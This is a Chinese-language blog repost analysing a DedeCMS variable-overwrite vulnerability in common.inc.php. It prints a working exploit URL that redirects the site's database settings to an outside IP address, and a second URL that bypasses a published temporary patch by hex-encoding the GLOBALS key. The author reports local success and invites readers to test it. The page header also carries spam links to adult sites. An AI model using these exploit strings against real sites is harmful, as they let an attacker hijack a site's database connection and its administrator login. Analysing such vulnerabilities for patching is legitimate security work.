日韩av黄I国产麻豆传媒I国产91av视频在线观看I日韩一区二区三区在线看I美女国产在线I麻豆视频国产在线观看I成人黄色短片

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 >

e7xue.php漏洞_简要分析最近的dedecms通杀漏洞以及漏洞补丁的绕过

發布時間:2024/9/15 48 豆豆
生活随笔 收集整理的這篇文章主要介紹了 e7xue.php漏洞_简要分析最近的dedecms通杀漏洞以及漏洞补丁的绕过 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

話說文章寫得菜不要緊,首先標題要跟大牛一樣!

作者:單戀一支花

出自:t00ls

轉載請注明出處,如有雷同,純屬別人抄襲,嘿嘿!

一:寫在前面

今天晚上想老婆了,失眠了,蛋裂之余,進吐司尋找基友,驚現dedecms通殺漏洞,小菜我異常激動,奈何發表漏洞的大牛只給出exp沒給出漏洞分析,看到論壇的部分童鞋還在苦思漏洞緣由,小菜我雖然菜,但是懂點php,所以前來獻丑,廣大童鞋勿噴!

二:php也有抽的時候

當嘗試php應用程序如何處理用戶提交的時候,會出現以下反常情況:

1.$GLOBALS是一個全局數組,他可以根據名稱訪問變量.

2.如果register_globals打開,php會將$_REQUEST數組,也就是用戶請求參數注冊為全局。

3.php在$_SERVER數組里面會處理時特定的http消息頭

4.名稱包含下標的輸入參數會轉化為數組,這也是此次漏洞產生的原因!前三項只是我的一些總結,可能有不完全的地方,期待大牛補充。可能有的童鞋對第四項不是很了解,我就舉個簡單的例子吧!看代碼:

print_r($_GET);

?>

直接提交https://www.webshell.cc/test.php?test[dan]=1&test[lian]=2,這樣我們會輸出Array ( [test] => Array ( [dan] => 1 [lian] => 2 ) ) ,這樣$_GET數組里面又嵌套了一個數組,成為一個二維數組!

三:針對dede的分析

根據上一條的內容,我們來分析一下dede,首先看作者給出exp吧login.php?dopost=login&validate=dcug&userid=admin&pwd=inimda&_POST[GLOBALS][cfg_dbhost]=116.255.183.90&_POST[GLOBALS][cfg_dbuser]=root&_POST[GLOBALS][cfg_dbpwd]=r0t0&_POST[GLOBALS][cfg_dbname]=root,我們看漏洞文件includecommon.inc.php文件第22行

foreach($_REQUEST as $_k=>$_v)

{

if( strlen($_k)>0 && eregi('^(cfg_|GLOBALS)',$_k) )

{

exit('Request var not allow!');

}

}

$REQUEST變量沒有過濾全局關鍵字(請參考我在二:php也有抽的時候的第一條),只驗證了是否提交以及提交內容是否包含前綴cfg_|GLOBALS,就進行了第一次遍歷數組,而我們的$_REQUET的$k是$_POST,進入第47行

foreach(Array('_GET','_POST','_COOKIE') as $_request)

{

foreach($$_request as $_k => $_v) ${$_k} = _RunMagicQuotes($_v);

}

我們注冊了$_GET變量后,$_GET的$K是$_POST然后在遍歷后,$_POST的$K是$_GLOBALS,從而導至$_GLOBALS被注冊,其數組里面的元素cfg_dbhost cfg_dbuser cfg_dbpwd cfg_dbname被賦值,從而導致漏洞的產生!

四:漏洞補丁的繞過

在某博客上看到臨時補丁

foreach(Array('_GET','_POST','_COOKIE') as $_request)

{

foreach($$_request as $_k => $_v) {

if( strlen($_k)>0 && eregi('^(cfg_|GLOBALS)',$_k) ){

exit('Request var not allow!');

}

${$_k} = _RunMagicQuotes($_v);

}

}

在遍歷$_POST的時候,如果$k有GLOBALS的關鍵字就會終止,這點我們可以把GLOBALS轉化為16進制繞過的。

login.php?dopost=login&validate=dcug&userid=admin&pwd=admin&_POST[0x474c4f42414c53][cfg_dbhost]=127.0.0.1&_POST[0x474c4f42414c53][cfg_dbuser]=root&_POST[0x474c4f42414c53][cfg_dbpwd]=&_POST[0x474c4f42414c53][cfg_dbname]=dedecmsv55gbk

我本地測試是成功的,有興趣的同學可以測試一下!

我博客上也發了,嘿嘿大家感興趣可以去看看我的百度博客!

轉載請注明來自WebShell'S Blog,本文地址:https://www.webshell.cc/539.html

總結

以上是生活随笔為你收集整理的e7xue.php漏洞_简要分析最近的dedecms通杀漏洞以及漏洞补丁的绕过的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。